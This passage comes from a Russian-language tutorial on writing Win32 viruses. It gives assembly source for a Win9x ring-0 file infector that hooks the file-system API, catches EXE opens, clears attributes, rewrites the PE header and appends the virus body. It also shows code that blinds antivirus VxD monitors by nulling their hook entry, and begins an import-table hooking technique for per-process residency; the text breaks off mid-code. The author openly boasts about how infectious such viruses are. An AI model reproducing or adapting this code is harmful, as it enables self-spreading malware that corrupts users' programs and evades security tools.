 IFSFN_GETDISKINFO  equ         23h     ; узнать кол-во своб. пp-ва
 IFSFN_OPEN         equ         24h     ; откpыть файл
 IFSFN_RENAME       equ         25h     ; пеpеименовать путь
 IFSFN_SEARCH       equ         26h     ; искать по имени
 IFSFN_QUERY        equ         27h     ; узнать инфу о pесуpсе (сетевом)
 IFSFN_DISCONNECT   equ         28h     ; отсоединиться от pесуpса (сетевого)
 IFSFN_UNCPIPEREQ   equ         29h     ; опеpация над именованным пайпом
 IFSFN_IOCTL16DRIVE equ         2Ah     ; запpос к диску (16 бит, IOCTL)
 IFSFN_GETDISKPARMS equ         2Bh     ; получить DPB
 IFSFN_FINDOPEN     equ         2Ch     ; начать файловый LFN-поиск
 IFSFN_DASDIO       equ         2Dh     ; пpямой доступ к диску
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

В нашем пеpвом виpусе нас будет интеpесовать только 24h, то есть откpытие файла. Система вызывает эту функция очень часто. Код настолько пpост, насколько вы можете это пpедставить :).

        cmp     dword ptr [ebp+0Ch],24h ; Check if system opening file
        jnz     back2oldhandler         ; If not, skip and return to old h.

Теперь начинается самая потеха. Когда мы узнаем, что система запрашивает открытие файла, настает наше время. Во-первых, мы должны проверить не обрабатываем ли мы наш собственный вызов... Это просто, добавьте небольшую переменную, которая решит вам эту проблему. Да, почти забыл, получите дельта-смещение :).

        pushad
        call    ring0_delta             ; Получаем дельта-смещение
 ring0_delta:
        pop     ebx
        sub     ebx,offset ring0_delta

        cmp     byte ptr [ebx+semaphore],00h ; Не мы ли попытались совершить
        jne     pushnback               ; данный вызов?

        inc     byte ptr [ebx+semaphore] ; Избегаем обработки наших вызовов
        pushad
        call    prepare_infection       ; Мы рассмотрим это далее
        call    infection_stuff
        popad
        dec     byte ptr [ebx+semaphore] ; Прекращаем избегание :)

 pushnback:
        popad

Теперь я продолжу рассказывать о собственно обработчике, после чего объясню, что я делаю в этих процедурах prepare_infection и infction_stuff. Сейчас мы выходим из функции обработки обращений системы. Сейчас мы должны написать процедуру, которая вызовет старый FileSystem hook. Как вы можете помнить (я надеюсь, что у вас нет склероза), мы поместили в стек все параметры, поэтому единственное, что нам нужно сделать сейчас - это загрузить в регистр старый адрес, а затем совершить по нему вызов. После этого мы добавляем к ESP 18h (чтобы получить в дальнейшем адрес возврата). Вот и все. Думаю, вы лучше это поймете, поглядев на код, поэтому вот он:

 back2oldhandler:
        db      0B8h                    ; MOV EAX,imm32 opcode
 Old_Handler    equ  $-(offset virus_start)
        dd      00000000h               ; здесь находится старый обработчик.
        call    [eax]
        add     esp,18h                 ; Фиксим стек (6*4)
        leave                           ; 6=кол-во. параметров. 4=размер dword
        ret                             ; Возврат

Подготовка к заражению

Это основоной аспект нашего ring-0 кода. Давайте теперь углубимся в детали программирования под ring-0. Когда мы рассматривал установленный нами обработчик файловой системы, там было два вызова. Это не обязательно, но я сделал их для того, чтобы упростить код, потому что я люблю, когда все разложено по порядку.

В первом вызове, который я назвал prepare_infection, я делаю только одну вещь по одной единственной причине. Имя, которое система дает нам в качестве параметра, это имя файла, но здесь у нас возникает одна проблема. Система дает ее нам в UNICODE, что для нам не очень полезно. Нам нужно сконвертировать его в ASCIIz, правильно. Хорошо, для этого у нас есть сервис VxD, который сделает эту работу за нас. Его название: UniToBCSPath. Далее идет исходный код.

 prepare_infection:
        pushad                          ; Помещаем в стек все регистры
        lea     edi,[ebx+fname]         ; Куда поместить имя файла
        mov     eax,[ebp+10h]
        cmp     al,0FFh                 ; Это UNICODE?
        jz      wegotdrive              ; Да!
        add     al,"@"                  ; Генерируем имя диска
        stosb
        mov     al,":"                  ; Добавляем ':'
        stosb
 wegotdrive:
        xor     eax,eax
        push    eax                     ; EAX = 0 -> Конвертируем в ASCII
        mov     eax,100h
        push    eax                     ; EAX = Размер конвертируемой строки
        mov     eax,[ebp+1Ch]
        mov     eax,[eax+0Ch]           ; EAX = Указатель на строку
        add     eax,4
        push    eax
        push    edi                     ; Push'им смещение имени файла

 @@3:   VxDCall UniToBCSPath

        add     esp,10h                 ; Пропускаем параметры
        add     edi,eax
        xor     eax,eax                 ; Добавляем NULL в конец строки
        stosb
        popad                           ; Pop'им все
        ret                             ; Делаем возврат

Само заражение

Ок , здесь я хочу вам рассказать о заражении файла. Я не буду рассказывать о том, как манипулировать полями заголовка файла, не потому что я ленивый, а потому что эта глава посвящена программированию Ring-0, а не заражению PE. В этой части описывается код, начинающийся с метки infection_stuff, которую вы встретили в код обработчика файловой системы. Во-первых, мы проверяем, является ли файл, с которым мы собираемся работать .EXE или другим, неинтересным для нас файлом. Поэтому, прежде всего, мы должны найти в имени файла 0, т.е. его конец. Это очень просто написать:

 infection_stuff:
        lea     edi,[ebx+fname]         ; Переменная с именем файла
 getend:
        cmp     byte ptr [edi],00h      ; Конец файла?
        jz      reached_end             ; Да
        inc     edi                     ; Если нет, продолжаем поиск
        jmp     getend
 reached_end:

Теперь у нас в EDI 0, конец ASCIIz строки, которая в нашем случае является именем файла. Теперь нам нужно проверить, является ли файл EXE, а если нет пропустить процедуру заражения. Также мы можем искать .SCR (скринсейверы), так как они тоже являются исполняемыми файлами... Ок, это ваш выбор. Вот немного кода:

        cmp     dword ptr [edi-4],"EXE." ; Является ли расширение EXE
        jnz     notsofunny

Как вы можете видеть, я сравниваю EDI-4. Вы поймете почему, если взглянете на следующий простой пример:

Ок, теперь мы знаем, что файл является EXE-файлом :). Поэтому настало время убрать его аттрибуты, открыть файл, модифировать соответствующие поля, закрыть файл и восстановить аттрибуты. Все эти функции выполняет другой сервис IFS, который называется IFSMgr_Ring0_FileIO. В нем есть огромное количество функций, в том числе и те, которые нам нужны, чтобы выполнить заражение файла и тому подобное. Давайте взглянем на числовые значения, передаваемые в EAX VxD-сервису IFSMgr_Ring0_FileIO:

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 ; Список функций сервиса IFSMgr_Ring0_FileIO:
 ; Обратите внимание: большинство функций не зависят от контекста, если
 ; обратное не оговорено специально, то есть они не используют контекст
 ; текущего треда. R0_LOCKFILE является единственным исключением - она всегда
 ; использует контекст текущего треда.

 R0_OPENCREATFILE        equ     0D500h  ; Открывает/закрывает файл
 R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Открывает/закрывает файл в текущем
                                         ; контексте
 R0_READFILE             equ     0D600h  ; Читает файл, контекста нет
 R0_WRITEFILE            equ     0D601h  ; Пишет в файл, контекста нет
 R0_READFILE_IN_CONTEXT  equ     0D602h  ; Читает из файла в контексте треда
 R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Пишет в файл в контексте треда
 R0_CLOSEFILE            equ     0D700h  ; Закрывает файл
 R0_GETFILESIZE          equ     0D800h  ; Получает размер файла
 R0_FINDFIRSTFILE        equ     04E00h  ; Выполняет LFN-операцию FindFirst
 R0_FINDNEXTFILE         equ     04F00h  ; Выполняет LFN-операцию FindNext
 R0_FINDCLOSEFILE        equ     0DC00h  ; Выполняет LFN-операцию FindClose
 R0_FILEATTRIBUTES       equ     04300h  ; Получ./уст. аттрибуты файла
 R0_RENAMEFILE           equ     05600h  ; Переименовывает файл
 R0_DELETEFILE           equ     04100h  ; Удаляет файл
 R0_LOCKFILE             equ     05C00h  ; Лочит/анлочит регион файла
 R0_GETDISKFREESPACE     equ     03600h  ; Получает свободное дисковое пр-во
 R0_READABSOLUTEDISK     equ     0DD00h  ; Абсолютное дисковое чтение
 R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Абсолютная дисковая запись
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Симпатичные функции, не правда ли? :) Если мы взглянем на них более внимательно, они напомнят нам функции DOS int 21h. Но эти лучше :).

Хорошо, давайте сохраним старые атрибуты файла. Как вы можете видеть, эта функция находится в списке, который я вам предоставил. Мы передаем этот параметр (4300h) через EAX, чтобы получить аттрибуты файла в ECX. Затем мы push'им его и имя файла, которое находится в ESI

        lea     esi,[ebx+fname]         ; Указатель на имя файла
        mov     eax,R0_FILEATTRIBUTES   ; EAX = 4300h
        push    eax                     ; Push'им, черт возьми
        VxDCall IFSMgr_Ring0_FileIO     ; Получаем аттрибуты
        pop     eax                     ; Восстанавливаем 4300h из стека
        jc      notsofunny              ; Что-то пошло не так?

        push    esi                     ; Push'им указатель на имя файла
        push    ecx                     ; Push'им аттрибуты

Теперь мы должны их сбросить. Нет проблем. Функция для установки атрибутов находится в этом же сервисе под номером 4301h. Как вы можете видеть, это точно такое же значение как и в DOS :).

        inc     eax                     ; 4300h+1=4301h :)
        xor     ecx,ecx                 ; Нет аттрибутов!
        VxDCall IFSMgr_Ring0_FileIO     ; Стираем аттрибуты
        jc      stillnotsofunny         ; Ошибка (?!)

У нас есть файл без атрибутов, который ждет наших действий... что мы должны предпринять. Хех. Я думал, вы будете умнее. Давайте откроем его! :) Хорошо, в этой части вируса мы тоже будем вызывать IFSMgr_Ring0_FileIO, но в этот раз передадим в EAX код функции открытия файлов, который равен D500h.

        lea     esi,[ebx+fname]         ; Помещаем в ESI имя файла
        mov     eax,R0_OPENCREATFILE    ; EAX = D500h
        xor     ecx,ecx                 ; ECX = 0
        mov     edx,ecx
        inc     edx                     ; EDX = 1
        mov     ebx,edx
        inc     ebx                     ; EBX = 2
        VxDCall IFSMgr_Ring0_FileIO
        jc      stillnotsofunny         ; Дерьмо

        xchg    eax,ebx                 ; Немного оптимизации

Теперь в EBX у нас находится хэндл открытого файла, поэтому не будем использовать этот регистр для чего бы то ни было еще, пока не закроем файл, ок? :) Ладно, теперь настало время, чтобы считать заголовок файла и сохранить его (и манипулировать), затем обновить заголовок вируса... Ладно, здесь я объясню только как до того момента, где мы должны правильно обработать PE-заголовок, потому что это другая часть документа, а я не хочу повторяться. Хорошо, теперь я собираюсь объяснить, как поместить в наш буфер заголовок PE. Это очень легко: как вы помните, заголовок PE начинается по смещению 3Ch. Следовательно, мы должны считать 4 байта (этот DWORD в 3Ch), и считать со смещения, на которое указывает прочитанная переменная, 400h байтов, что достаточно для того, чтобы вместить весь PE-заголовок. Как вы можете представить, функция для чтения файлов находится в чудесном сервисе IFSMgr_Ring0_FileIO. Ее номер можно найти в списке, который я привел выше. Параметры, передаваемые этой функции, следующие:

 EAX = R0_READFILE = D600h
 EBX = хэндл файла
 ECX = количество прочитанных байтов
 EDX = смещение, откуда мы должны читать
 ESI = куда попадут считанные байты

        call    inf_delta               ; Если вы помните, дельта-смещение
inf_delta:                              ; находится в EBX, но после открытия
        pop     ebp                     ; файла в EBX будет находиться хэндл
        sub     ebp,offset inf_delta    ; файла, поэтом нам придется
                                        ; высчитать дельта-смещение заново

        mov     eax,R0_READFILE         ; D600h
        push    eax                     ; Сохраняем для последующего исп.
        mov     ecx,4                   ; Сколько байтов читать (DWORD)
        mov     edx,03Ch                ; Откуда читать (BOF+3Ch)
        lea     esi,[ebp+pehead]        ; Здесь будет смещ. загол. PE
        VxDCall IFSMgr_Ring0_FileIO     ; Сам VxDCall

        pop     eax                     ; восст. R0_READFILE из стека

        mov     edx,dword ptr [ebp+pehead] ; Откуда нач. PE-заголовок
        lea     esi,[ebp+header]        ; Куда писать считанный заголовок
        mov     ecx,400h                ; 1024 bytes, дост. для заголовка
        VxDCall IFSMgr_Ring0_FileIO

Теперь мы должны посмотреть, является ли файл, который мы только что посмотрели PE-файлов, взглянув на его маркер. В ESI у нас находится указатель на буфер, куда мы поместим заголовок PE, поэтому мы просто сравниваем первый DWORD в ESI с PE,0,0 (или просто PE, если использовать WORD-сравнение) ;).

        cmp     dword ptr [esi],"EP"    ; Это PE?
        jnz     muthafucka

Теперь вам нужно проверить, не был ли файл уже заражен ранее, и если это так, просто переходим к процедуре его закрытия. Как я сказал раньше, я пропущу код модификации PE-заголовка, так как предполагается, что вы знаете, как им манипулировать. Ладно, представьте, что вы уже модифицировали заголовок PE правильным образом в буфере (в моем коде эта переменная названа 'header'). Теперь настало время, чтобы записать новый заголовок в PE-файл. Значения, которые должны содержаться в регистрах, должны быть примерно равны тем, которые использовались в функции R0_READFILE. Ладно, как бы то ни было, я их напишу:

 EAX = R0_WRITEFILE = D601h
 EBX = File Handle
 ECX = Number of bytes to write
 EDX = Offset where we should write
 ESI = Offset of the bytes we want to write

        mov     eax,R0_WRITEFILE                ; D601h
        mov     ecx,400h                        ; write 1024 bytez (buffer)
        mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
        lea     esi,[ebp+header]                ; Data to write
        VxDCall IFSMgr_Ring0_FileIO

Мы только что записали заголовок. Теперь мы должны добавить вирус. Я решил подсоединить его прямо к концу файла, потому что мой способ модифицирования PE... Ладно, просто сделал это так. Но не беспокойтесь, это легко адаптировать под ваш метод заражения, если, как я предполагаю, вы понимаете, как все это работает. Просто помните о необходимости пофиксить все вызовы VxD перед добавление тела вируса, так как они трансформируются в инструкции call в памяти. Помните о процедуре VxDFix, которой я научил вас в этом же документе. Между прочим, так как мы добавляем тело вируса к концу файла, мы должны узнать, как много байтов он занимает. Это очень легко, для этого у нас есть функция сервиса IFSMgr_Ring0_FileIO, которая выполнит эту работу: R0_GETFILESIZE. Давайте взглянем на ее входные параметры:

 EAX = R0_GETFILESIZE = D800h
 EBX = Хэндл файла

И возвращает нам в EAX размер файла, чей хэндл мы передали, то есть того файла, который мы хотим заразить.

        call    VxDFix                          ; Восстановить все INT 20h

        mov     eax,R0_GETFILESIZE              ; D800h
        VxDCall IFSMgr_Ring0_FileIO
                                                ; EAX = размер файла
        mov     edx,R0_WRITEFILE                ; EDX = D601h
        xchg    eax,edx                         ; EAX = D601; EDX = р-р файла
        lea     esi,[ebp+virus_start]           ; Что записать
        mov     ecx,virus_size                  ; Сколько байтов записать
        VxDCall IFSMgr_Ring0_FileIO

Ладно, нам осталось сделать всего лишь несколько вещей. Просто закройте файл и восстановите старые атрибуты. Конечно, функция закрытия файла находится в сервисе IFSMgr_Ring0_FileIO (код D700h). Давайте взглянем на входные параметры:

 EAX = R0_CLOSEFILE = 0D700h
 EBX = хэндл файла

А теперь сам код:

 muthafucka:
        mov     eax,R0_CLOSEFILE
        VxDCall IFSMgr_Ring0_FileIO

Теперь нам осталось только одно (рульно!). Восстановить старые аттрибуты.

 stillnotsofunny:
        pop     ecx                  ; Восстанавливаем старые аттрибуты
        pop     esi                  ; Восстанавливаем указатель на имя файла
        mov     eax,4301h            ; Устанавливаем аттрибуты
        VxDCall IFSMgr_Ring0_FileIO

 notsofunny:
        ret

Вот и все! :) Между прочим, все эти "VxDCall IFSMgr_Ring0_FileIO" лучше оформить в виде подпрограммы и вызывать ее с помощью простого вызова: это будет более оптимизировано (если вы используете макро VxDCall, который я показал вам) и это будет гораздо лучше, потому что необходимо будет фиксить только один вызов VxD-сервиса.

Код против VxD-мониторов

Ох, я должен не забыть упомянуть о парне, который обнаружил это: Super/29A. Теперь я должен объяснить в чем состоит эта крутая вещь. Это относится к уже рассматривавшемуся сервису InstallFileSystemApiHook, но не документировано ребятами из Micro$oft. Сервис InstallFileSystemApiHook возвращает нам интересную структуру:

 EAX + 00h -> Адрес предыдущего обработчика
 EAX + 04h -> Структура Hook_Info

Самое важно в этой структуре следующее:

 00h -> Адрес хук-обработчика
 04h -> Адрес хук-обработчика от предыдущего обработчика
 08h -> Адрес Hook_Info от предыдущего обработчика

Поэтому мы делаем рекурсивный поиск по структурам, пока не найдем самый первый, использующийся мониторами... И затем мы должны обнулить его. Код? Вот вам порция :) :

 ; EDI = Указывает на копию вируса в системной куче

        lea     ecx,[edi+New_Handler]    ; Устанавливаем хук файловой системы
        push    ecx
@@2:    VxDCall IFSMgr_InstallFileSystemApiHook
        pop     ecx

        xchg    esi,eax                  ; ESI = Указатель на текущий
                                         ; обработчик
        push    esi
        lodsd ; add esi,4                ; ESI = Указатель на хук-обработчик
tunnel: lodsd                            ; EAX = Предыдущий хук-обработчик
                                         ; ESI = Указатель на Hook_Info
        xchg    eax,esi                  ; Очень чисто :)

        add     esi,08h                  ; ESI = 3ий dword в структуре:
                                         ; предыдущий Hook_Info

        js      tunnel                   ; Если ESI < 7FFFFFFF, это был
                                         ; последний :)
                                         ; EAX = самый верхний Hook_Info

        mov     dword ptr [edi+ptr_top_chain],eax ; Сохр. в перем. в памяти
        pop     eax                             ; EAX = Посл. хук-обр.
        [...]

Не беспокойтесь, если вы не поймете это в первый раз: представьте, сколько я затратил времени, читая код Sexy, чтобы понять это! Ладно, мы сохранили в переменную самый верхний Hook_Info, но теперь нам надо обнулить его на время заражения, а потом восстановить. Следующий фрагмент код должен находиться между проверкой запроса системы на открытие файла и вызовом процедуры заражения файла.

        lea     esi,dword ptr [ebx+top_chain]   ; ESI = указ. на сохр. перем.
        lodsd                                   ; EAX = верхний Hook_Info
        xor     edx,edx                         ; EDX = 0
        xchg    [eax],edx                       ; Top Chain = NULL
                                                ; EDX = адрес верх. Hook_Info
        pushad
        call    Infection
        popad

        mov     [eax],edx                       ; Восст. верх. Hook_Info

Это было легко, правда? :)

Заключительные слова

Я должен поблагодарить троих людей, которые очень сильно помогли мне во время написания моего первого вируса под Ring-0: Super, Vecna и nIgr0. Ладно, что еще сказать? Гмм... да. Ring-0 - это наш сладкий сон под Win9x. Но у него ограниченная жизнь. Даже если мы, VXеры, найдем способ получить привилегии нулевого кольца в таких системах как NT, Micro$oft сделает патч или сервис-пак, чтобы пофиксить эти возможные баги. Как бы то ни было, писать вирус нулевого кольца очень интересно. Это помогло мне больше узнать о внутреннем устройстве Windoze. Я надеюсь, что это поможет также и вам. Обратите внимание, что вирусы нулевого кольца очень заразны. Система постоянно пытается открыть какие-нибудь файлы. Просто взгляните на один из самых заразных и быстро распространяющихся вирусов нулевого кольца CIH.


Путеводитель по написанию вирусов под Win32: 6. Перпроцессная резидентность

6. Перпроцессная резидентность

Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.

Введение

Перпроцессная резидентность впервые была реализованна Jacky Qwerty из вирусной группы 29A в 1997 году. Кроме того, что это был первый (по мнению средств массовой информации, а не в реальности - Win32.Jacky) Win32-вирус, он также был первым резидентным Win32-вирусом, использующим никогда ранее не виданную технику: перпроцессную резидентность. Теперь вы, по-видимому, удивляетесь: 'Что же такое, ядрена матрена, эта перпроцессная резидентность?'. Я уже объяснил это в одной из статей журнала DDT#1, но здесь я проведу более глубокий анализ этого метода. Когда вы вызываете функцию API, вы используете адрес, сохраненный системой во время выполнения в таблице импортов, и меняете адрес функции API на адрес своего собственного кода, заражающего файлы при вызове перехваченной функции. Я знаю, что это немного путано и тяжело понять, но в вирмейкерстве все вначале выглядит сложным, хотя потом становится очень простым :).

--[DDT#1.2_4]---------------------------------------------------------------

Это единственный известный мне способ сделать Win32 вирусы резидентными. Да, вы правильно прочитали: Win32, а не Win9X. Этот способ будет также работать и под WinNT. Во-первых, вы должны знать, что такое процесс. Вещь, которая меня озадачила больше всего, что люди, начавшие программировать под Win32, знают, что это такое и часто это используют, но не знают его название. В общем, когда мы запускаем Windows-приложение, мы создаем процесс :). Очень легко поянть. И в чем состоит данная резидентность? Сначала мы должны зарезервировать память, куда поместить тело вируса. Это можно сделать с помощью функции "VirtualAlloc". Но... как перехватить функции API? Наиболее полезное решение, приходящее мне в голову состоит в том, чтобы изменять адреса в таблице импортов. С моей точки зрения, это единственный возможный путь. Поскольку в импорты можно писать, наша задача во многом облегчается, так как нам не нужна помощь никаких функций VxDCall0...

У этого вида резидентности есть и слабая сторона... так как мы опираемся на таблицу импортов, мы можем работать только с импортированными функциям, и скорость заражения очень сильно зависит от файла, который мы заразили. Например, если мы заразим CMD.EXE в WinNT и у нас будут обработчики FindFirstFile(A/W) и FindNextFile(A/W), то это позволит заразить все файлы, найденные с помощью этих функций. Это сделает наш вирус очень заразным, так как эти функции будут использоваться, когда мы выполним команду DIR под WinNT. Как бы то ни было, использовать одну перпроцессную резидентность не стоит, чтобы наш вирус был более заразным, необходимо использовать другие методы, например как в Win32.Cabanas, где заражались файлы в \WINDOWS и \WINDOWS\SYSTEM. Другим хорошим способом может быть заражение определенных файлов при первом запуске в системе...

--[DDT#1.2_4]---------------------------------------------------------------

Я написал это в декабре 1998. С тех пор я понял, как это можно сделать без резервирования памяти, но тем не менее я помещу код так, как есть, чтобы вы поняли лучше.

Обработка таблицы импортов

Далее следует структура таблицы импортов.

IMAGE_IMPORT_DESCRIPTOR

А теперь посмотрим, что об этом говорит Мэтт Питрек.

DWORD Characteristics

Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.

DWORD TimeDateStamp

Время/дата, указывающая на то, когда был создан файл.

DWORD ForwarderChain

Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.

DWORD Name

Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.

Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).

;---[ CUT HERE ]-------------------------------------------------------------
;
; процедура GetAPI_IT
;  --------------------
;
; Далее следует код, который получает кое-какую информацию из таблицы импор-
; тов.

 GetAPI_IT      proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, давайте начнем веселье. Параметры, которые требуются для этой        ;
 ; функции, и возвращаемое значение следующие:                              ;
 ;                                                                          ;
 ; ВВОД  . EDI : Указатель на имя API-функции (чувствительно к регистру)    ;
 ; ВЫВОД . EAX : Адрес API-функции                                          ;
 ;         EBX : Адрес адреса API-функции в таблице импортов                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     dword ptr [ebp+TempGA_IT1],edi  ; Сохраняем указатель на имя
        mov     ebx,edi
        xor     al,al                           ; Ищем "\0"
        scasb
        jnz     $-1
        sub     edi,ebx                         ; Получаем размер имени
        mov     dword ptr [ebp+TempGA_IT2],edi  ; Сохраняем размер имени

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы сохраняем указатель на имя API-функции во временной           ;
 ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ;
 ; от нового значения EDI (которое указывает на 0) его старое значение,     ;
 ; получая, таким образом, размер имени API-функции. Просто, не правда ли?  ;
 ; Далее мы сохраняем размер API-функции в другой временной переменной.     ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        xor     eax,eax                         ; Обнуляем EAX
        mov     esi,dword ptr [ebp+imagebase]   ; Загружаем базу образа проц.
        add     esi,3Ch                         ; Указатель на смещение 3Ch
        lodsw                                   ; Получаем заголовок PE проц.
        add     eax,dword ptr [ebp+imagebase]   ; адрес (нормализованный!)
        xchg    esi,eax
        lodsd

        cmp     eax,"EP"                        ; Это действительно PE?
        jnz     nopes                           ; Дерьмо!

        add     esi,7Ch
        lodsd                                   ; Получаем адрес
        push    eax
        lodsd                                   ; EAX = Размер
        pop     esi
        add     esi,dword ptr [ebp+imagebase]

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ;
 ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка         ;
 ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ;
 ; импортов (.idata).                                                       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 SearchK32:
        push    esi
        mov     esi,[esi+0Ch]                   ; ESI = Указатель на имя
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
        lea     edi,[ebp+K32_DLL]               ; У-ль на "KERNEL32.dll",0
        mov     ecx,K32_Size                    ; ECX = Размер этой строки
        cld                                     ; Очищаем флаг направления
        push    ecx                             ; Сохр. размер для дал.исп.
        rep     cmpsb                           ; Сравниваем байты
        pop     ecx                             ; Восст. размер
        pop     esi                             ; Восст. у-ль на импорты
        jz      gotcha                          ; Если совп., делаем переход
        add     esi,14h                         ; Получаем след. поле
        jmp     SearchK32                       ; След. проход цикла

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ;
 ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели),     ;
 ; после чего нормализуем это значение с базой образа, превращая, таким     ;
 ; образом его в VA. Далее мы помещаем в EDI указатель на строку            ;
 ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и   ;
 ; если они совпадают, значит мы получили еще одну подходящую строку.       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 gotcha:
        cmp     byte ptr [esi],00h              ; Это OriginalFirstThunk 0?
        jz      nopes                           ; Отваливаем, если так
        mov     edx,[esi+10h]                   ; Получаем FirstThunk :)
        add     edx,dword ptr [ebp+imagebase]   ; Нормализуем!
        lodsd
        or      eax,eax                         ; Это 0?
        jz      nopes                           ; Дерьмо...

        xchg    edx,eax                         ; Получаем указатель на него!
        add     edx,[ebp+imagebase]
        xor     ebx,ebx

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ;
 ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и  ;
 ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0  ;
 ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый      ;
 ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ;
 ; на поле FirstThunk.                                                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 loopy:
        cmp     dword ptr [edx],00h             ; Последний RVA? Хм...
        jz      nopes
        cmp     byte ptr [edx+03h],80h          ; Ординал? Duh...
        jz      reloop

        mov     edi,dword ptr [ebp+TempGA_IT1]  ; Получ. указ. на имя API-ф-ции
        mov     ecx,dword ptr [ebp+TempGA_IT2]  ; Получаем размер имени
        mov     esi,[edx]                       ; Получаем текущую строку
        add     esi,dword ptr [ebp+imagebase]
        inc     esi
        inc     esi
        push    ecx                             ; Сохраняем ее размер
        rep     cmpsb                           ; Сохраняем обе строки
        pop     ecx                             ; Восстанавливаем размер
        jz      wegotit
 reloop:
        inc     ebx                             ; Увеличиваем значение указателя
        add     edx,4                           ; Получаем указатель на другую
        loop    loopy                           ; импортированную API-функцию

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива    ;
 ; (который отмечен символом null), и если так, заканчиваем работу. Затем   ;
 ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще   ;
 ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее   ;
 ; указатель на имя API-функции, которую мы искали, в ECX у нас находится   ;
 ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в    ;
 ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ;
 ; они не совпадают, мы получаем следующую, пока не найдем ее или не        ;
 ; достигнем последней API-функции в таблице импортов.                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 wegotit:
        shl     ebx,2                        ; Умножаем на 4 (размер dword)
        add     ebx,eax                      ; Добавляем к значению FirstThunk
